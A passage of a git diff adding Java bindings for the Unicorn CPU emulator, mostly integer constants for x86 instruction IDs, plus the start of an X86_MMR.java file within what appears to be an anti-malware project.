UC_X86_INS_VDIVPS = 778; + public static final int UC_X86_INS_VDIVSD = 779; + public static final int UC_X86_INS_VDIVSS = 780; + public static final int UC_X86_INS_VDPPD = 781; + public static final int UC_X86_INS_VDPPS = 782; + public static final int UC_X86_INS_VERR = 783; + public static final int UC_X86_INS_VERW = 784; + public static final int UC_X86_INS_VEXP2PD = 785; + public static final int UC_X86_INS_VEXP2PS = 786; + public static final int UC_X86_INS_VEXPANDPD = 787; + public static final int UC_X86_INS_VEXPANDPS = 788; + public static final int UC_X86_INS_VEXTRACTF128 = 789; + public static final int UC_X86_INS_VEXTRACTF32X4 = 790; + public static final int UC_X86_INS_VEXTRACTF64X4 = 791; + public static final int UC_X86_INS_VEXTRACTI128 = 792; + public static final int UC_X86_INS_VEXTRACTI32X4 = 793; + public static final int UC_X86_INS_VEXTRACTI64X4 = 794; + public static final int UC_X86_INS_VEXTRACTPS = 795; + public static final int UC_X86_INS_VFMADD132PD = 796; + public static final int UC_X86_INS_VFMADD132PS = 797; + public static final int UC_X86_INS_VFMADDPD = 798; + public static final int UC_X86_INS_VFMADD213PD = 799; + public static final int UC_X86_INS_VFMADD231PD = 800; + public static final int UC_X86_INS_VFMADDPS = 801; + public static final int UC_X86_INS_VFMADD213PS = 802; + public static final int UC_X86_INS_VFMADD231PS = 803; + public static final int UC_X86_INS_VFMADDSD = 804; + public static final int UC_X86_INS_VFMADD213SD = 805; + public static final int UC_X86_INS_VFMADD132SD = 806; + public static final int UC_X86_INS_VFMADD231SD = 807; + public static final int UC_X86_INS_VFMADDSS = 808; + public static final int UC_X86_INS_VFMADD213SS = 809; + public static final int UC_X86_INS_VFMADD132SS = 810; + public static final int UC_X86_INS_VFMADD231SS = 811; + public static final int UC_X86_INS_VFMADDSUB132PD = 812; + public static final int UC_X86_INS_VFMADDSUB132PS = 813; + public static final int UC_X86_INS_VFMADDSUBPD = 814; + public static final int UC_X86_INS_VFMADDSUB213PD = 815; + public static final int UC_X86_INS_VFMADDSUB231PD = 816; + public static final int UC_X86_INS_VFMADDSUBPS = 817; + public static final int UC_X86_INS_VFMADDSUB213PS = 818; + public static final int UC_X86_INS_VFMADDSUB231PS = 819; + public static final int UC_X86_INS_VFMSUB132PD = 820; + public static final int UC_X86_INS_VFMSUB132PS = 821; + public static final int UC_X86_INS_VFMSUBADD132PD = 822; + public static final int UC_X86_INS_VFMSUBADD132PS = 823; + public static final int UC_X86_INS_VFMSUBADDPD = 824; + public static final int UC_X86_INS_VFMSUBADD213PD = 825; + public static final int UC_X86_INS_VFMSUBADD231PD = 826; + public static final int UC_X86_INS_VFMSUBADDPS = 827; + public static final int UC_X86_INS_VFMSUBADD213PS = 828; + public static final int UC_X86_INS_VFMSUBADD231PS = 829; + public static final int UC_X86_INS_VFMSUBPD = 830; + public static final int UC_X86_INS_VFMSUB213PD = 831; + public static final int UC_X86_INS_VFMSUB231PD = 832; + public static final int UC_X86_INS_VFMSUBPS = 833; + public static final int UC_X86_INS_VFMSUB213PS = 834; + public static final int UC_X86_INS_VFMSUB231PS = 835; + public static final int UC_X86_INS_VFMSUBSD = 836; + public static final int UC_X86_INS_VFMSUB213SD = 837; + public static final int UC_X86_INS_VFMSUB132SD = 838; + public static final int UC_X86_INS_VFMSUB231SD = 839; + public static final int UC_X86_INS_VFMSUBSS = 840; + public static final int UC_X86_INS_VFMSUB213SS = 841; + public static final int UC_X86_INS_VFMSUB132SS = 842; + public static final int UC_X86_INS_VFMSUB231SS = 843; + public static final int UC_X86_INS_VFNMADD132PD = 844; + public static final int UC_X86_INS_VFNMADD132PS = 845; + public static final int UC_X86_INS_VFNMADDPD = 846; + public static final int UC_X86_INS_VFNMADD213PD = 847; + public static final int UC_X86_INS_VFNMADD231PD = 848; + public static final int UC_X86_INS_VFNMADDPS = 849; + public static final int UC_X86_INS_VFNMADD213PS = 850; + public static final int UC_X86_INS_VFNMADD231PS = 851; + public static final int UC_X86_INS_VFNMADDSD = 852; + public static final int UC_X86_INS_VFNMADD213SD = 853; + public static final int UC_X86_INS_VFNMADD132SD = 854; + public static final int UC_X86_INS_VFNMADD231SD = 855; + public static final int UC_X86_INS_VFNMADDSS = 856; + public static final int UC_X86_INS_VFNMADD213SS = 857; + public static final int UC_X86_INS_VFNMADD132SS = 858; + public static final int UC_X86_INS_VFNMADD231SS = 859; + public static final int UC_X86_INS_VFNMSUB132PD = 860; + public static final int UC_X86_INS_VFNMSUB132PS = 861; + public static final int UC_X86_INS_VFNMSUBPD = 862; + public static final int UC_X86_INS_VFNMSUB213PD = 863; + public static final int UC_X86_INS_VFNMSUB231PD = 864; + public static final int UC_X86_INS_VFNMSUBPS = 865; + public static final int UC_X86_INS_VFNMSUB213PS = 866; + public static final int UC_X86_INS_VFNMSUB231PS = 867; + public static final int UC_X86_INS_VFNMSUBSD = 868; + public static final int UC_X86_INS_VFNMSUB213SD = 869; + public static final int UC_X86_INS_VFNMSUB132SD = 870; + public static final int UC_X86_INS_VFNMSUB231SD = 871; + public static final int UC_X86_INS_VFNMSUBSS = 872; + public static final int UC_X86_INS_VFNMSUB213SS = 873; + public static final int UC_X86_INS_VFNMSUB132SS = 874; + public static final int UC_X86_INS_VFNMSUB231SS = 875; + public static final int UC_X86_INS_VFRCZPD = 876; + public static final int UC_X86_INS_VFRCZPS = 877; + public static final int UC_X86_INS_VFRCZSD = 878; + public static final int UC_X86_INS_VFRCZSS = 879; + public static final int UC_X86_INS_VORPD = 880; + public static final int UC_X86_INS_VORPS = 881; + public static final int UC_X86_INS_VXORPD = 882; + public static final int UC_X86_INS_VXORPS = 883; + public static final int UC_X86_INS_VGATHERDPD = 884; + public static final int UC_X86_INS_VGATHERDPS = 885; + public static final int UC_X86_INS_VGATHERPF0DPD = 886; + public static final int UC_X86_INS_VGATHERPF0DPS = 887; + public static final int UC_X86_INS_VGATHERPF0QPD = 888; + public static final int UC_X86_INS_VGATHERPF0QPS = 889; + public static final int UC_X86_INS_VGATHERPF1DPD = 890; + public static final int UC_X86_INS_VGATHERPF1DPS = 891; + public static final int UC_X86_INS_VGATHERPF1QPD = 892; + public static final int UC_X86_INS_VGATHERPF1QPS = 893; + public static final int UC_X86_INS_VGATHERQPD = 894; + public static final int UC_X86_INS_VGATHERQPS = 895; + public static final int UC_X86_INS_VHADDPD = 896; + public static final int UC_X86_INS_VHADDPS = 897; + public static final int UC_X86_INS_VHSUBPD = 898; + public static final int UC_X86_INS_VHSUBPS = 899; + public static final int UC_X86_INS_VINSERTF128 = 900; + public static final int UC_X86_INS_VINSERTF32X4 = 901; + public static final int UC_X86_INS_VINSERTF32X8 = 902; + public static final int UC_X86_INS_VINSERTF64X2 = 903; + public static final int UC_X86_INS_VINSERTF64X4 = 904; + public static final int UC_X86_INS_VINSERTI128 = 905; + public static final int UC_X86_INS_VINSERTI32X4 = 906; + public static final int UC_X86_INS_VINSERTI32X8 = 907; + public static final int UC_X86_INS_VINSERTI64X2 = 908; + public static final int UC_X86_INS_VINSERTI64X4 = 909; + public static final int UC_X86_INS_VINSERTPS = 910; + public static final int UC_X86_INS_VLDDQU = 911; + public static final int UC_X86_INS_VLDMXCSR = 912; + public static final int UC_X86_INS_VMASKMOVDQU = 913; + public static final int UC_X86_INS_VMASKMOVPD = 914; + public static final int UC_X86_INS_VMASKMOVPS = 915; + public static final int UC_X86_INS_VMAXPD = 916; + public static final int UC_X86_INS_VMAXPS = 917; + public static final int UC_X86_INS_VMAXSD = 918; + public static final int UC_X86_INS_VMAXSS = 919; + public static final int UC_X86_INS_VMCALL = 920; + public static final int UC_X86_INS_VMCLEAR = 921; + public static final int UC_X86_INS_VMFUNC = 922; + public static final int UC_X86_INS_VMINPD = 923; + public static final int UC_X86_INS_VMINPS = 924; + public static final int UC_X86_INS_VMINSD = 925; + public static final int UC_X86_INS_VMINSS = 926; + public static final int UC_X86_INS_VMLAUNCH = 927; + public static final int UC_X86_INS_VMLOAD = 928; + public static final int UC_X86_INS_VMMCALL = 929; + public static final int UC_X86_INS_VMOVQ = 930; + public static final int UC_X86_INS_VMOVDDUP = 931; + public static final int UC_X86_INS_VMOVD = 932; + public static final int UC_X86_INS_VMOVDQA32 = 933; + public static final int UC_X86_INS_VMOVDQA64 = 934; + public static final int UC_X86_INS_VMOVDQA = 935; + public static final int UC_X86_INS_VMOVDQU16 = 936; + public static final int UC_X86_INS_VMOVDQU32 = 937; + public static final int UC_X86_INS_VMOVDQU64 = 938; + public static final int UC_X86_INS_VMOVDQU8 = 939; + public static final int UC_X86_INS_VMOVDQU = 940; + public static final int UC_X86_INS_VMOVHLPS = 941; + public static final int UC_X86_INS_VMOVHPD = 942; + public static final int UC_X86_INS_VMOVHPS = 943; + public static final int UC_X86_INS_VMOVLHPS = 944; + public static final int UC_X86_INS_VMOVLPD = 945; + public static final int UC_X86_INS_VMOVLPS = 946; + public static final int UC_X86_INS_VMOVMSKPD = 947; + public static final int UC_X86_INS_VMOVMSKPS = 948; + public static final int UC_X86_INS_VMOVNTDQA = 949; + public static final int UC_X86_INS_VMOVNTDQ = 950; + public static final int UC_X86_INS_VMOVNTPD = 951; + public static final int UC_X86_INS_VMOVNTPS = 952; + public static final int UC_X86_INS_VMOVSD = 953; + public static final int UC_X86_INS_VMOVSHDUP = 954; + public static final int UC_X86_INS_VMOVSLDUP = 955; + public static final int UC_X86_INS_VMOVSS = 956; + public static final int UC_X86_INS_VMOVUPD = 957; + public static final int UC_X86_INS_VMOVUPS = 958; + public static final int UC_X86_INS_VMPSADBW = 959; + public static final int UC_X86_INS_VMPTRLD = 960; + public static final int UC_X86_INS_VMPTRST = 961; + public static final int UC_X86_INS_VMREAD = 962; + public static final int UC_X86_INS_VMRESUME = 963; + public static final int UC_X86_INS_VMRUN = 964; + public static final int UC_X86_INS_VMSAVE = 965; + public static final int UC_X86_INS_VMULPD = 966; + public static final int UC_X86_INS_VMULPS = 967; + public static final int UC_X86_INS_VMULSD = 968; + public static final int UC_X86_INS_VMULSS = 969; + public static final int UC_X86_INS_VMWRITE = 970; + public static final int UC_X86_INS_VMXOFF = 971; + public static final int UC_X86_INS_VMXON = 972; + public static final int UC_X86_INS_VPABSB = 973; + public static final int UC_X86_INS_VPABSD = 974; + public static final int UC_X86_INS_VPABSQ = 975; + public static final int UC_X86_INS_VPABSW = 976; + public static final int UC_X86_INS_VPACKSSDW = 977; + public static final int UC_X86_INS_VPACKSSWB = 978; + public static final int UC_X86_INS_VPACKUSDW = 979; + public static final int UC_X86_INS_VPACKUSWB = 980; + public static final int UC_X86_INS_VPADDB = 981; + public static final int UC_X86_INS_VPADDD = 982; + public static final int UC_X86_INS_VPADDQ = 983; + public static final int UC_X86_INS_VPADDSB = 984; + public static final int UC_X86_INS_VPADDSW = 985; + public static final int UC_X86_INS_VPADDUSB = 986; + public static final int UC_X86_INS_VPADDUSW = 987; + public static final int UC_X86_INS_VPADDW = 988; + public static final int UC_X86_INS_VPALIGNR = 989; + public static final int UC_X86_INS_VPANDD = 990; + public static final int UC_X86_INS_VPANDND = 991; + public static final int UC_X86_INS_VPANDNQ = 992; + public static final int UC_X86_INS_VPANDN = 993; + public static final int UC_X86_INS_VPANDQ = 994; + public static final int UC_X86_INS_VPAND = 995; + public static final int UC_X86_INS_VPAVGB = 996; + public static final int UC_X86_INS_VPAVGW = 997; + public static final int UC_X86_INS_VPBLENDD = 998; + public static final int UC_X86_INS_VPBLENDMB = 999; + public static final int UC_X86_INS_VPBLENDMD = 1000; + public static final int UC_X86_INS_VPBLENDMQ = 1001; + public static final int UC_X86_INS_VPBLENDMW = 1002; + public static final int UC_X86_INS_VPBLENDVB = 1003; + public static final int UC_X86_INS_VPBLENDW = 1004; + public static final int UC_X86_INS_VPBROADCASTB = 1005; + public static final int UC_X86_INS_VPBROADCASTD = 1006; + public static final int UC_X86_INS_VPBROADCASTMB2Q = 1007; + public static final int UC_X86_INS_VPBROADCASTMW2D = 1008; + public static final int UC_X86_INS_VPBROADCASTQ = 1009; + public static final int UC_X86_INS_VPBROADCASTW = 1010; + public static final int UC_X86_INS_VPCLMULQDQ = 1011; + public static final int UC_X86_INS_VPCMOV = 1012; + public static final int UC_X86_INS_VPCMPB = 1013; + public static final int UC_X86_INS_VPCMPD = 1014; + public static final int UC_X86_INS_VPCMPEQB = 1015; + public static final int UC_X86_INS_VPCMPEQD = 1016; + public static final int UC_X86_INS_VPCMPEQQ = 1017; + public static final int UC_X86_INS_VPCMPEQW = 1018; + public static final int UC_X86_INS_VPCMPESTRI = 1019; + public static final int UC_X86_INS_VPCMPESTRM = 1020; + public static final int UC_X86_INS_VPCMPGTB = 1021; + public static final int UC_X86_INS_VPCMPGTD = 1022; + public static final int UC_X86_INS_VPCMPGTQ = 1023; + public static final int UC_X86_INS_VPCMPGTW = 1024; + public static final int UC_X86_INS_VPCMPISTRI = 1025; + public static final int UC_X86_INS_VPCMPISTRM = 1026; + public static final int UC_X86_INS_VPCMPQ = 1027; + public static final int UC_X86_INS_VPCMPUB = 1028; + public static final int UC_X86_INS_VPCMPUD = 1029; + public static final int UC_X86_INS_VPCMPUQ = 1030; + public static final int UC_X86_INS_VPCMPUW = 1031; + public static final int UC_X86_INS_VPCMPW = 1032; + public static final int UC_X86_INS_VPCOMB = 1033; + public static final int UC_X86_INS_VPCOMD = 1034; + public static final int UC_X86_INS_VPCOMPRESSD = 1035; + public static final int UC_X86_INS_VPCOMPRESSQ = 1036; + public static final int UC_X86_INS_VPCOMQ = 1037; + public static final int UC_X86_INS_VPCOMUB = 1038; + public static final int UC_X86_INS_VPCOMUD = 1039; + public static final int UC_X86_INS_VPCOMUQ = 1040; + public static final int UC_X86_INS_VPCOMUW = 1041; + public static final int UC_X86_INS_VPCOMW = 1042; + public static final int UC_X86_INS_VPCONFLICTD = 1043; + public static final int UC_X86_INS_VPCONFLICTQ = 1044; + public static final int UC_X86_INS_VPERM2F128 = 1045; + public static final int UC_X86_INS_VPERM2I128 = 1046; + public static final int UC_X86_INS_VPERMD = 1047; + public static final int UC_X86_INS_VPERMI2D = 1048; + public static final int UC_X86_INS_VPERMI2PD = 1049; + public static final int UC_X86_INS_VPERMI2PS = 1050; + public static final int UC_X86_INS_VPERMI2Q = 1051; + public static final int UC_X86_INS_VPERMIL2PD = 1052; + public static final int UC_X86_INS_VPERMIL2PS = 1053; + public static final int UC_X86_INS_VPERMILPD = 1054; + public static final int UC_X86_INS_VPERMILPS = 1055; + public static final int UC_X86_INS_VPERMPD = 1056; + public static final int UC_X86_INS_VPERMPS = 1057; + public static final int UC_X86_INS_VPERMQ = 1058; + public static final int UC_X86_INS_VPERMT2D = 1059; + public static final int UC_X86_INS_VPERMT2PD = 1060; + public static final int UC_X86_INS_VPERMT2PS = 1061; + public static final int UC_X86_INS_VPERMT2Q = 1062; + public static final int UC_X86_INS_VPEXPANDD = 1063; + public static final int UC_X86_INS_VPEXPANDQ = 1064; + public static final int UC_X86_INS_VPEXTRB = 1065; + public static final int UC_X86_INS_VPEXTRD = 1066; + public static final int UC_X86_INS_VPEXTRQ = 1067; + public static final int UC_X86_INS_VPEXTRW = 1068; + public static final int UC_X86_INS_VPGATHERDD = 1069; + public static final int UC_X86_INS_VPGATHERDQ = 1070; + public static final int UC_X86_INS_VPGATHERQD = 1071; + public static final int UC_X86_INS_VPGATHERQQ = 1072; + public static final int UC_X86_INS_VPHADDBD = 1073; + public static final int UC_X86_INS_VPHADDBQ = 1074; + public static final int UC_X86_INS_VPHADDBW = 1075; + public static final int UC_X86_INS_VPHADDDQ = 1076; + public static final int UC_X86_INS_VPHADDD = 1077; + public static final int UC_X86_INS_VPHADDSW = 1078; + public static final int UC_X86_INS_VPHADDUBD = 1079; + public static final int UC_X86_INS_VPHADDUBQ = 1080; + public static final int UC_X86_INS_VPHADDUBW = 1081; + public static final int UC_X86_INS_VPHADDUDQ = 1082; + public static final int UC_X86_INS_VPHADDUWD = 1083; + public static final int UC_X86_INS_VPHADDUWQ = 1084; + public static final int UC_X86_INS_VPHADDWD = 1085; + public static final int UC_X86_INS_VPHADDWQ = 1086; + public static final int UC_X86_INS_VPHADDW = 1087; + public static final int UC_X86_INS_VPHMINPOSUW = 1088; + public static final int UC_X86_INS_VPHSUBBW = 1089; + public static final int UC_X86_INS_VPHSUBDQ = 1090; + public static final int UC_X86_INS_VPHSUBD = 1091; + public static final int UC_X86_INS_VPHSUBSW = 1092; + public static final int UC_X86_INS_VPHSUBWD = 1093; + public static final int UC_X86_INS_VPHSUBW = 1094; + public static final int UC_X86_INS_VPINSRB = 1095; + public static final int UC_X86_INS_VPINSRD = 1096; + public static final int UC_X86_INS_VPINSRQ = 1097; + public static final int UC_X86_INS_VPINSRW = 1098; + public static final int UC_X86_INS_VPLZCNTD = 1099; + public static final int UC_X86_INS_VPLZCNTQ = 1100; + public static final int UC_X86_INS_VPMACSDD = 1101; + public static final int UC_X86_INS_VPMACSDQH = 1102; + public static final int UC_X86_INS_VPMACSDQL = 1103; + public static final int UC_X86_INS_VPMACSSDD = 1104; + public static final int UC_X86_INS_VPMACSSDQH = 1105; + public static final int UC_X86_INS_VPMACSSDQL = 1106; + public static final int UC_X86_INS_VPMACSSWD = 1107; + public static final int UC_X86_INS_VPMACSSWW = 1108; + public static final int UC_X86_INS_VPMACSWD = 1109; + public static final int UC_X86_INS_VPMACSWW = 1110; + public static final int UC_X86_INS_VPMADCSSWD = 1111; + public static final int UC_X86_INS_VPMADCSWD = 1112; + public static final int UC_X86_INS_VPMADDUBSW = 1113; + public static final int UC_X86_INS_VPMADDWD = 1114; + public static final int UC_X86_INS_VPMASKMOVD = 1115; + public static final int UC_X86_INS_VPMASKMOVQ = 1116; + public static final int UC_X86_INS_VPMAXSB = 1117; + public static final int UC_X86_INS_VPMAXSD = 1118; + public static final int UC_X86_INS_VPMAXSQ = 1119; + public static final int UC_X86_INS_VPMAXSW = 1120; + public static final int UC_X86_INS_VPMAXUB = 1121; + public static final int UC_X86_INS_VPMAXUD = 1122; + public static final int UC_X86_INS_VPMAXUQ = 1123; + public static final int UC_X86_INS_VPMAXUW = 1124; + public static final int UC_X86_INS_VPMINSB = 1125; + public static final int UC_X86_INS_VPMINSD = 1126; + public static final int UC_X86_INS_VPMINSQ = 1127; + public static final int UC_X86_INS_VPMINSW = 1128; + public static final int UC_X86_INS_VPMINUB = 1129; + public static final int UC_X86_INS_VPMINUD = 1130; + public static final int UC_X86_INS_VPMINUQ = 1131; + public static final int UC_X86_INS_VPMINUW = 1132; + public static final int UC_X86_INS_VPMOVDB = 1133; + public static final int UC_X86_INS_VPMOVDW = 1134; + public static final int UC_X86_INS_VPMOVM2B = 1135; + public static final int UC_X86_INS_VPMOVM2D = 1136; + public static final int UC_X86_INS_VPMOVM2Q = 1137; + public static final int UC_X86_INS_VPMOVM2W = 1138; + public static final int UC_X86_INS_VPMOVMSKB = 1139; + public static final int UC_X86_INS_VPMOVQB = 1140; + public static final int UC_X86_INS_VPMOVQD = 1141; + public static final int UC_X86_INS_VPMOVQW = 1142; + public static final int UC_X86_INS_VPMOVSDB = 1143; + public static final int UC_X86_INS_VPMOVSDW = 1144; + public static final int UC_X86_INS_VPMOVSQB = 1145; + public static final int UC_X86_INS_VPMOVSQD = 1146; + public static final int UC_X86_INS_VPMOVSQW = 1147; + public static final int UC_X86_INS_VPMOVSXBD = 1148; + public static final int UC_X86_INS_VPMOVSXBQ = 1149; + public static final int UC_X86_INS_VPMOVSXBW = 1150; + public static final int UC_X86_INS_VPMOVSXDQ = 1151; + public static final int UC_X86_INS_VPMOVSXWD = 1152; + public static final int UC_X86_INS_VPMOVSXWQ = 1153; + public static final int UC_X86_INS_VPMOVUSDB = 1154; + public static final int UC_X86_INS_VPMOVUSDW = 1155; + public static final int UC_X86_INS_VPMOVUSQB = 1156; + public static final int UC_X86_INS_VPMOVUSQD = 1157; + public static final int UC_X86_INS_VPMOVUSQW = 1158; + public static final int UC_X86_INS_VPMOVZXBD = 1159; + public static final int UC_X86_INS_VPMOVZXBQ = 1160; + public static final int UC_X86_INS_VPMOVZXBW = 1161; + public static final int UC_X86_INS_VPMOVZXDQ = 1162; + public static final int UC_X86_INS_VPMOVZXWD = 1163; + public static final int UC_X86_INS_VPMOVZXWQ = 1164; + public static final int UC_X86_INS_VPMULDQ = 1165; + public static final int UC_X86_INS_VPMULHRSW = 1166; + public static final int UC_X86_INS_VPMULHUW = 1167; + public static final int UC_X86_INS_VPMULHW = 1168; + public static final int UC_X86_INS_VPMULLD = 1169; + public static final int UC_X86_INS_VPMULLQ = 1170; + public static final int UC_X86_INS_VPMULLW = 1171; + public static final int UC_X86_INS_VPMULUDQ = 1172; + public static final int UC_X86_INS_VPORD = 1173; + public static final int UC_X86_INS_VPORQ = 1174; + public static final int UC_X86_INS_VPOR = 1175; + public static final int UC_X86_INS_VPPERM = 1176; + public static final int UC_X86_INS_VPROTB = 1177; + public static final int UC_X86_INS_VPROTD = 1178; + public static final int UC_X86_INS_VPROTQ = 1179; + public static final int UC_X86_INS_VPROTW = 1180; + public static final int UC_X86_INS_VPSADBW = 1181; + public static final int UC_X86_INS_VPSCATTERDD = 1182; + public static final int UC_X86_INS_VPSCATTERDQ = 1183; + public static final int UC_X86_INS_VPSCATTERQD = 1184; + public static final int UC_X86_INS_VPSCATTERQQ = 1185; + public static final int UC_X86_INS_VPSHAB = 1186; + public static final int UC_X86_INS_VPSHAD = 1187; + public static final int UC_X86_INS_VPSHAQ = 1188; + public static final int UC_X86_INS_VPSHAW = 1189; + public static final int UC_X86_INS_VPSHLB = 1190; + public static final int UC_X86_INS_VPSHLD = 1191; + public static final int UC_X86_INS_VPSHLQ = 1192; + public static final int UC_X86_INS_VPSHLW = 1193; + public static final int UC_X86_INS_VPSHUFB = 1194; + public static final int UC_X86_INS_VPSHUFD = 1195; + public static final int UC_X86_INS_VPSHUFHW = 1196; + public static final int UC_X86_INS_VPSHUFLW = 1197; + public static final int UC_X86_INS_VPSIGNB = 1198; + public static final int UC_X86_INS_VPSIGND = 1199; + public static final int UC_X86_INS_VPSIGNW = 1200; + public static final int UC_X86_INS_VPSLLDQ = 1201; + public static final int UC_X86_INS_VPSLLD = 1202; + public static final int UC_X86_INS_VPSLLQ = 1203; + public static final int UC_X86_INS_VPSLLVD = 1204; + public static final int UC_X86_INS_VPSLLVQ = 1205; + public static final int UC_X86_INS_VPSLLW = 1206; + public static final int UC_X86_INS_VPSRAD = 1207; + public static final int UC_X86_INS_VPSRAQ = 1208; + public static final int UC_X86_INS_VPSRAVD = 1209; + public static final int UC_X86_INS_VPSRAVQ = 1210; + public static final int UC_X86_INS_VPSRAW = 1211; + public static final int UC_X86_INS_VPSRLDQ = 1212; + public static final int UC_X86_INS_VPSRLD = 1213; + public static final int UC_X86_INS_VPSRLQ = 1214; + public static final int UC_X86_INS_VPSRLVD = 1215; + public static final int UC_X86_INS_VPSRLVQ = 1216; + public static final int UC_X86_INS_VPSRLW = 1217; + public static final int UC_X86_INS_VPSUBB = 1218; + public static final int UC_X86_INS_VPSUBD = 1219; + public static final int UC_X86_INS_VPSUBQ = 1220; + public static final int UC_X86_INS_VPSUBSB = 1221; + public static final int UC_X86_INS_VPSUBSW = 1222; + public static final int UC_X86_INS_VPSUBUSB = 1223; + public static final int UC_X86_INS_VPSUBUSW = 1224; + public static final int UC_X86_INS_VPSUBW = 1225; + public static final int UC_X86_INS_VPTESTMD = 1226; + public static final int UC_X86_INS_VPTESTMQ = 1227; + public static final int UC_X86_INS_VPTESTNMD = 1228; + public static final int UC_X86_INS_VPTESTNMQ = 1229; + public static final int UC_X86_INS_VPTEST = 1230; + public static final int UC_X86_INS_VPUNPCKHBW = 1231; + public static final int UC_X86_INS_VPUNPCKHDQ = 1232; + public static final int UC_X86_INS_VPUNPCKHQDQ = 1233; + public static final int UC_X86_INS_VPUNPCKHWD = 1234; + public static final int UC_X86_INS_VPUNPCKLBW = 1235; + public static final int UC_X86_INS_VPUNPCKLDQ = 1236; + public static final int UC_X86_INS_VPUNPCKLQDQ = 1237; + public static final int UC_X86_INS_VPUNPCKLWD = 1238; + public static final int UC_X86_INS_VPXORD = 1239; + public static final int UC_X86_INS_VPXORQ = 1240; + public static final int UC_X86_INS_VPXOR = 1241; + public static final int UC_X86_INS_VRCP14PD = 1242; + public static final int UC_X86_INS_VRCP14PS = 1243; + public static final int UC_X86_INS_VRCP14SD = 1244; + public static final int UC_X86_INS_VRCP14SS = 1245; + public static final int UC_X86_INS_VRCP28PD = 1246; + public static final int UC_X86_INS_VRCP28PS = 1247; + public static final int UC_X86_INS_VRCP28SD = 1248; + public static final int UC_X86_INS_VRCP28SS = 1249; + public static final int UC_X86_INS_VRCPPS = 1250; + public static final int UC_X86_INS_VRCPSS = 1251; + public static final int UC_X86_INS_VRNDSCALEPD = 1252; + public static final int UC_X86_INS_VRNDSCALEPS = 1253; + public static final int UC_X86_INS_VRNDSCALESD = 1254; + public static final int UC_X86_INS_VRNDSCALESS = 1255; + public static final int UC_X86_INS_VROUNDPD = 1256; + public static final int UC_X86_INS_VROUNDPS = 1257; + public static final int UC_X86_INS_VROUNDSD = 1258; + public static final int UC_X86_INS_VROUNDSS = 1259; + public static final int UC_X86_INS_VRSQRT14PD = 1260; + public static final int UC_X86_INS_VRSQRT14PS = 1261; + public static final int UC_X86_INS_VRSQRT14SD = 1262; + public static final int UC_X86_INS_VRSQRT14SS = 1263; + public static final int UC_X86_INS_VRSQRT28PD = 1264; + public static final int UC_X86_INS_VRSQRT28PS = 1265; + public static final int UC_X86_INS_VRSQRT28SD = 1266; + public static final int UC_X86_INS_VRSQRT28SS = 1267; + public static final int UC_X86_INS_VRSQRTPS = 1268; + public static final int UC_X86_INS_VRSQRTSS = 1269; + public static final int UC_X86_INS_VSCATTERDPD = 1270; + public static final int UC_X86_INS_VSCATTERDPS = 1271; + public static final int UC_X86_INS_VSCATTERPF0DPD = 1272; + public static final int UC_X86_INS_VSCATTERPF0DPS = 1273; + public static final int UC_X86_INS_VSCATTERPF0QPD = 1274; + public static final int UC_X86_INS_VSCATTERPF0QPS = 1275; + public static final int UC_X86_INS_VSCATTERPF1DPD = 1276; + public static final int UC_X86_INS_VSCATTERPF1DPS = 1277; + public static final int UC_X86_INS_VSCATTERPF1QPD = 1278; + public static final int UC_X86_INS_VSCATTERPF1QPS = 1279; + public static final int UC_X86_INS_VSCATTERQPD = 1280; + public static final int UC_X86_INS_VSCATTERQPS = 1281; + public static final int UC_X86_INS_VSHUFPD = 1282; + public static final int UC_X86_INS_VSHUFPS = 1283; + public static final int UC_X86_INS_VSQRTPD = 1284; + public static final int UC_X86_INS_VSQRTPS = 1285; + public static final int UC_X86_INS_VSQRTSD = 1286; + public static final int UC_X86_INS_VSQRTSS = 1287; + public static final int UC_X86_INS_VSTMXCSR = 1288; + public static final int UC_X86_INS_VSUBPD = 1289; + public static final int UC_X86_INS_VSUBPS = 1290; + public static final int UC_X86_INS_VSUBSD = 1291; + public static final int UC_X86_INS_VSUBSS = 1292; + public static final int UC_X86_INS_VTESTPD = 1293; + public static final int UC_X86_INS_VTESTPS = 1294; + public static final int UC_X86_INS_VUNPCKHPD = 1295; + public static final int UC_X86_INS_VUNPCKHPS = 1296; + public static final int UC_X86_INS_VUNPCKLPD = 1297; + public static final int UC_X86_INS_VUNPCKLPS = 1298; + public static final int UC_X86_INS_VZEROALL = 1299; + public static final int UC_X86_INS_VZEROUPPER = 1300; + public static final int UC_X86_INS_WAIT = 1301; + public static final int UC_X86_INS_WBINVD = 1302; + public static final int UC_X86_INS_WRFSBASE = 1303; + public static final int UC_X86_INS_WRGSBASE = 1304; + public static final int UC_X86_INS_WRMSR = 1305; + public static final int UC_X86_INS_XABORT = 1306; + public static final int UC_X86_INS_XACQUIRE = 1307; + public static final int UC_X86_INS_XBEGIN = 1308; + public static final int UC_X86_INS_XCHG = 1309; + public static final int UC_X86_INS_XCRYPTCBC = 1310; + public static final int UC_X86_INS_XCRYPTCFB = 1311; + public static final int UC_X86_INS_XCRYPTCTR = 1312; + public static final int UC_X86_INS_XCRYPTECB = 1313; + public static final int UC_X86_INS_XCRYPTOFB = 1314; + public static final int UC_X86_INS_XEND = 1315; + public static final int UC_X86_INS_XGETBV = 1316; + public static final int UC_X86_INS_XLATB = 1317; + public static final int UC_X86_INS_XRELEASE = 1318; + public static final int UC_X86_INS_XRSTOR = 1319; + public static final int UC_X86_INS_XRSTOR64 = 1320; + public static final int UC_X86_INS_XRSTORS = 1321; + public static final int UC_X86_INS_XRSTORS64 = 1322; + public static final int UC_X86_INS_XSAVE = 1323; + public static final int UC_X86_INS_XSAVE64 = 1324; + public static final int UC_X86_INS_XSAVEC = 1325; + public static final int UC_X86_INS_XSAVEC64 = 1326; + public static final int UC_X86_INS_XSAVEOPT = 1327; + public static final int UC_X86_INS_XSAVEOPT64 = 1328; + public static final int UC_X86_INS_XSAVES = 1329; + public static final int UC_X86_INS_XSAVES64 = 1330; + public static final int UC_X86_INS_XSETBV = 1331; + public static final int UC_X86_INS_XSHA1 = 1332; + public static final int UC_X86_INS_XSHA256 = 1333; + public static final int UC_X86_INS_XSTORE = 1334; + public static final int UC_X86_INS_XTEST = 1335; + public static final int UC_X86_INS_FDISI8087_NOP = 1336; + public static final int UC_X86_INS_FENI8087_NOP = 1337; + public static final int UC_X86_INS_ENDING = 1338; + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/X86_MMR.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/X86_MMR.java new file mode 100644 index 0000000..1c3db2b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/X86_MMR.java @@ -0,0 +1,46 @@ +/* + +Java bindings for the Unicorn Emulator Engine + 